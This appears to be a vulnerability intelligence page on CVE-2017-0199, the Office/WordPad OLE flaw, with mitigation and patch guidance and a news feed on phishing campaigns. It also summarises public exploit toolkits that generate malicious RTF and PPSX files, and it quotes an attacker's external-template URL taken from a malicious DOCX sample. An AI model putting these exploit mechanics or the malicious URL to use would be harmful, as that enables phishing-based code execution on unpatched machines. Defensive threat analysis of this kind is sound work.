Skip to main content
Mallory
HighExploited in the wildCISA KEVPublic exploitVulnerability

CVE-2017-0199: Microsoft Office and WordPad OLE Remote Code Execution

Published Apr 12, 2017 · Updated 3 days ago
Trending this weekNot trendingOutside this week’s top 100
Mention activity · 30 days6 mentions · peak 3 in a dayToday
CVSS7.8High · v3.1
EPSS99.5%100th percentile
CISA KEVYesAdded Nov 3, 2021
In the wildActivePer CISA KEV
Vendors
Phillips 66Microsoft Corporation
IdentifiersCVE-2017-0199CWE-94
Also known asole2link

CVE-2017-0199 is a remote code execution vulnerability in Microsoft Office and WordPad involving the handling of specially crafted documents and linked OLE objects. An embedded URL Moniker can retrieve an attacker-controlled resource and invoke its handler according to the server-supplied MIME type. A resource served as application/hta can consequently execute through the Windows HTML Application host. Affected products include Office 2007 SP3, Office 2010 SP2, Office 2013 SP1, Office 2016, and WordPad on affected Windows releases. Exploitation commonly uses malicious RTF documents or Excel spreadsheets delivered through phishing. Microsoft released security updates in April 2017.

Do you run this?See affected versions in your environment and whether adversaries are exploiting this vulnerability against assets like yours.
Check your exposure
Analyst brief

Impact, mitigation & remediation

What it means and what to do now: patch path, interim mitigations, and the assume-compromise checklist.

Impact

What an attacker gets, and what they’ve been doing with it.

Successful exploitation permits arbitrary code execution with the privileges of the user opening the document, compromising accessible data and system resources. An attacker can install malware and view, modify, or delete data; exploitation in an administrative user context can enable broader system takeover and account creation. Observed delivery chains have deployed information stealers, remote access trojans, cryptocurrency miners, and ransomware. Privilege escalation and persistence are not intrinsic to this vulnerability and depend on the execution context or subsequent attack stages.

Mitigation

If you can’t patch tonight, do this now.

Avoid opening or previewing unsolicited or untrusted documents, including attachments received from familiar senders whose accounts may be compromised. Use email attachment inspection, exploit-aware endpoint protection, and network filtering to interrupt malicious document delivery and remote payload retrieval. Office Protected View may prevent some attempts but is not a sufficient standalone control because bypasses exist. Apply least-privilege access and network segmentation to limit the consequences of compromise.

Remediation

Patch, then assume compromise.

Apply Microsoft's April 2017 security updates for CVE-2017-0199, or applicable superseding updates, to affected Office and Windows installations, including systems using WordPad. Install both the relevant Office fixes and Windows components required by the activation-filter mechanism. The fix blocks activation of HTA and scriptlet COM objects in Office while retaining URL Moniker functionality. Remote content may still be downloaded after patching, so a download alone does not establish successful code execution.

Public exploits

Exploits

7 exploits validated by Mallory's analysis. Hidden: 9 rejected by Mallory's analysis as not a working exploit; 2 not yet analyzed, such as Exploit-DB entries.

View more in app →
office_word_hta.rbThis repository contains a single Metasploit module (modules/exploits/windows/fileformat/office_word_hta.rb) that exploits CVE-2017-0199, a vulnerability in Microsoft Office Word's handling of OLE2Link objects in RTF files. The module generates a malicious RTF file (default name: msf.doc) that, when opened in a vulnerable version of Microsoft Word, causes the application to make an HTTP(S) request to an attacker-controlled server. The server responds with an HTA (HTML Application) payload, which is then executed on the victim's system, allowing for arbitrary code execution. The module allows customization of the filename and the URI path for the HTA payload. The exploit leverages both file format and network attack vectors. The payload is fully customizable and can be any Windows payload supported by Metasploit, making this a weaponized and highly flexible exploit. The module is operational within the Metasploit framework and is intended for penetration testing and red teaming against unpatched Microsoft Office installations.Disclosed Apr 14, 2017 · Framework: metasploit · ruby · fileformat · networkWeaponizedCVE-2017-0199This repository provides a Python-based exploit toolkit for CVE-2017-0199, a remote code execution vulnerability in Microsoft Office. The main script, 'cve-2017-0199_toolkit.py', allows users to generate malicious RTF or PPSX files that, when opened by a vulnerable Office installation, will fetch and execute attacker-specified payloads. The toolkit supports both local and remote payload delivery, including EXE files (such as Meterpreter shells), HTA/SCT scripts, or custom files. The script can also serve payloads over HTTP, acting as a simple web server. The README provides detailed usage scenarios and command-line options, demonstrating how to generate malicious documents and deliver payloads. The exploit is operational and can be used to achieve remote code execution on unpatched Microsoft Office installations. The repository contains three files: a detailed README, a TODO list, and the main exploit script written in Python.bhdresh · Disclosed Apr 17, 2017 · python · networkOperationalhtattackThis repository contains a Python 2 script (htattack.py) that implements an exploit for CVE-2017-0199, a remote code execution vulnerability in Microsoft Office's handling of RTF documents. The script acts as a malicious HTTP server that serves a payload (such as a Meterpreter shell) to victims who open a specially crafted RTF file. When the victim's Office application requests the payload, the server responds with either the executable or an HTML Application (HTA) script that uses PowerShell to download and execute the payload on the victim's Windows system. The repository includes a README with usage instructions and a reference to a demonstration video. The main exploit logic is contained in htattack.py, which handles incoming HTTP requests and serves the appropriate malicious content. The exploit requires the attacker to host the payload and run the script, and the victim must open a malicious RTF document that triggers the exploit. The attack vector is network-based, leveraging HTTP to deliver the payload. Several fingerprintable endpoints are present, including the attacker's payload URL, local file paths on both the attacker's and victim's systems, and the use of PowerShell for execution.kn0wm4d · Disclosed Apr 24, 2017 · python · networkOperationalCVE-2017-0199This repository contains a Python 3 script ('cve-2017-0199_toolkit_3.py') that implements an exploit for CVE-2017-0199, a remote code execution vulnerability in Microsoft Office. The toolkit can generate malicious RTF or PPSX files that, when opened by a vulnerable Office installation, cause the application to fetch and execute a remote payload (such as a Meterpreter shell or custom executable) via a crafted HTA or SCT file. The script supports two main modes: 'gen' (generation of malicious files) and 'exp' (exploitation/delivery of payloads). It allows the attacker to specify URLs or local paths for payloads and HTA/SCT files, and can obfuscate the generated RTF files. The exploit works by running a local HTTP server to deliver the malicious content and payloads to the victim. The README provides a brief overview and notes that the script has been updated for Python 3 compatibility. The repository is operational and suitable for penetration testing or red teaming against unpatched Microsoft Office installations.kash-123 · Disclosed Sep 10, 2024 · python · networkOperationalPhishing-AnalysisThis repository contains a real-world malicious DOCX file ('BankPaymAdviceVend.Report.docx') that exploits CVE-2017-0199, a remote code execution vulnerability in Microsoft Word (versions 2007–2016). The exploit is triggered when a user opens the document, causing Word to fetch and attempt to execute a remote HTA payload from the attacker-controlled domain 'tt.vg' (e.g., http://tt.vg/BVhaS). The repository provides a comprehensive blue-team analysis, including network indicators (domain, URLs, IPs), dropped files (such as EMF images in the browser cache and .tmp files), and registry keys accessed during exploitation. The structure consists of the malicious DOCX and its internal Office XML components, with the main exploit vector being an external template reference in 'word/_rels/settings.xml.rels' pointing to the attacker's server. The README.md offers detailed behavioral analysis, IOCs, and detection guidance, making this repository valuable for defenders seeking to understand and detect this exploit in enterprise environments.BlueShield-CyberDefense · Disclosed Nov 23, 2025 · document · networkOperationalRCE-CVE-2017-0199-detection-analysisRepository contains a single malicious Microsoft Word DOCX sample (OpenXML structure) and a blue-team writeup. The exploit targets CVE-2017-0199 (Office/Word remote code execution via external template/HTA retrieval). The key exploit primitive is in word/_rels/settings.xml.rels: an attachedTemplate relationship with TargetMode="External" pointing to tt.vg at path /BVhaS (formatted as http://<username>@tt.vg/BVhaS). When opened, Word (WINWORD.EXE) attempts HTTP/HTTPS requests (GET/HEAD /BVhaS, OPTIONS /) to tt.vg; the README reports 404 responses in the sandbox run, implying the second-stage payload was unavailable at detonation time. Structure/purpose: - README.md: detailed sandbox detonation report (ANY.RUN) including attack chain narrative, network IOCs (tt.vg, /BVhaS, resolved IPs), and forensic artifacts (temp files, Content.MSO EMF cache) plus registry access notes and hunting query examples. - OpenXML parts: [Content_Types].xml, docProps/*, word/document.xml, word/settings.xml, and relationship files. The relationships show embedded OLE objects (AcroExch.Document.DC) and the external attachedTemplate pointer that drives the CVE-2017-0199 behavior. Overall, this is not a traditional exploit codebase but a weaponized document sample plus analysis. It provides a reproducible indicator set (domain/URL/IPs and artifact locations) and demonstrates how the DOCX is wired to trigger outbound retrieval that can lead to RCE on vulnerable Office installations.ahmed-tarek22752 · Disclosed Nov 23, 2025 · xml · markdown · client-side / phishing document (malicious DOCX) triggering Office external template fetch leading to RCE (CVE-2017-0199)PoCRCE-CVE-2017-0199-detection-analysisRepository contains a malicious Microsoft Word DOCX sample (OpenXML structure) and a blue-team oriented writeup. The exploit targets CVE-2017-0199 (Office/Word remote code execution via external template/HTA retrieval). Structure/purpose: - README.md: Detailed ANY.RUN sandbox detonation report, attack chain narrative, and IOCs (domain tt.vg, URLs /BVhaS, resolved IPs). Describes Word making GET/HEAD requests and dropping temp/cache artifacts; includes example hunting query. - OpenXML parts (e.g., word/document.xml, word/settings.xml, relationships): The actual weaponized document internals. Key exploit mechanism (in-document): - word/_rels/settings.xml.rels defines an External attachedTemplate relationship: Target="http://ballontechnologytoupdatethenewthingstodeliveredeverywhere@tt.vg/BVhaS" with TargetMode="External". This is the critical indicator of the CVE-2017-0199-style behavior: when the document is opened, Word attempts to fetch remote content from tt.vg. Additional embedded content: - word/document.xml references multiple embedded OLE objects with ProgID "AcroExch.Document.DC" (PDF/Acrobat OLE embeddings). These appear to be decoy/embedded objects; the primary exploit trigger is the external template relationship. Observed capability/outcome: - Network beaconing to tt.vg over HTTP/HTTPS attempting to retrieve /BVhaS. The README indicates the server returned HTTP 404 in the detonation, so no second-stage payload was obtained in that run; nonetheless, the document is constructed to pull attacker-controlled remote content, which is the core exploitation capability.BlueShield-CyberDefense · Disclosed Nov 23, 2025 · xml · markdown · network (phishing document -> Office RCE via external template/HTA retrieval)PoC
Exposure surface

Affected products & vendors

Products and vendors Mallory has correlated with this vulnerability. Open in Mallory to drill down to specific CPE configurations and version ranges.

VendorProductType
Microsoft CorporationMicrosoft Officeapplication
Microsoft CorporationWindows 7operating_system
Microsoft CorporationWindows Server 2008operating_system
Microsoft CorporationWindows Server 2012operating_system
Microsoft CorporationWindows Vistaoperating_system
Phillips 66Intellispace Portalapplication
FAQ

Frequently asked questions

Is CVE-2017-0199 exploited in the wild?
Yes. As of Nov 14, 2026, Mallory has reports of exploitation in the wild, and CISA added it to KEV on Nov 3, 2021.
Is there a public exploit for CVE-2017-0199?
Yes. Mallory tracks 7 public exploits or proofs of concept for CVE-2017-0199, the earliest disclosed Apr 14, 2017.
Is there a patch for CVE-2017-0199?
Apply Microsoft's April 2017 security updates for CVE-2017-0199, or applicable superseding updates, to affected Office and Windows installations, including systems using WordPad. Install both the relevant Office fixes and Windows components required by the activation-filter mechanism.
What products are affected by CVE-2017-0199?
Microsoft Corporation Microsoft Office, Phillips 66 Intellispace Portal, Microsoft Corporation Windows 7, Microsoft Corporation Windows Server 2008, Microsoft Corporation Windows Server 2012, and 1 more.
How severe is CVE-2017-0199?
CVE-2017-0199 has a CVSS v3.1 score of 7.8 (High) and an EPSS score of 99.5% (100th percentile) as of Nov 14, 2026.
Activity feed

Recent activity

170 sources tracked across advisories, community write-ups, and news. New activity surfaces here as Mallory finds it.

View more in app →
virustotal blogNews · Oct 27, 2026Process trees in Livehunt: YARA rules that know who launched what ~ VirusTotal BlogThe vulnerability is associated with malicious Excel spreadsheets demonstrating an Office exploitation chain. Office requests an object through DCOM, causing the DCOM launcher to start mshta.exe, followed by shell and script execution. The illustrated chain ultimately launches aspnet_compiler.exe, which writes temporary copies of browser credential databases. The vulnerability appears as an example supporting process-ancestry detection rules rather than as the article's main subject.Read more ↗ctfiotNews · Oct 7, 2026APT-C-24(响尾蛇)近期使用LNK文件钓鱼攻击活动分析 | CTF导航An Office vulnerability cited as part of an exploit combination historically used by APT-C-24 (响尾蛇). The report contrasts that earlier technique with the current campaign's malicious LNK files and remote script execution; this vulnerability was not used in the analyzed campaign.Read more ↗ahnlab asec blogNews · Sep 27, 2026Beware of Phishing Emails That Disguise Themselves as Project Material Purchase Requests - ASECA Microsoft Office remote code execution vulnerability involving OLE2Link/OLE objects. In this phishing campaign, a weaponized XLS document exploits it to retrieve and execute an HTA-based infection chain that ultimately deploys Remcos RAT.Read more ↗trellix blogNews · Aug 24, 2026Unmasking the Hidden Threat: Inside a Sophisticated Excel-Based Attack Delivering Fileless Remcos RATA remote code execution vulnerability affecting Microsoft Office and WordPad, described as involving the handling of OLE objects in specially crafted documents. The analyzed campaign exploits it through a phishing-delivered encrypted Excel document to execute an HTA application, launch obfuscated PowerShell and VBScript stages, and ultimately inject a memory-loaded Remcos RAT payload into the legitimate RegAsm process. The article also links the vulnerability to earlier and contemporary malware-delivery campaigns.Read more ↗
+124 more in the timeline. Sign up to see them
Do you run this?See affected versions in your environment and whether adversaries are exploiting this vulnerability against assets like yours.
Check your exposure
Mallory platform

The version that knows your environment.

This page is what’s public. Mallory adds the parts that aren’t: which of your assets are affected, which adversaries are exploiting it right now, and which detections to deploy tonight.
Exposure mappingQuery your assets running an affected version, and investigate the blast radius.
Threat actor evidence72Every report linking this CVE to a named adversary.
Associated malware110Malware families linked to this CVE, with evidence and IOCs.
Detection signatures13YARA, Sigma, Snort, and vendor rules, auto-deployed to your SIEM.
Vendor-by-vendor mappingCross-references every affected SKU, including bundled OEM variants.
Social activity26Community discussion across Reddit, Mastodon, and other social sources.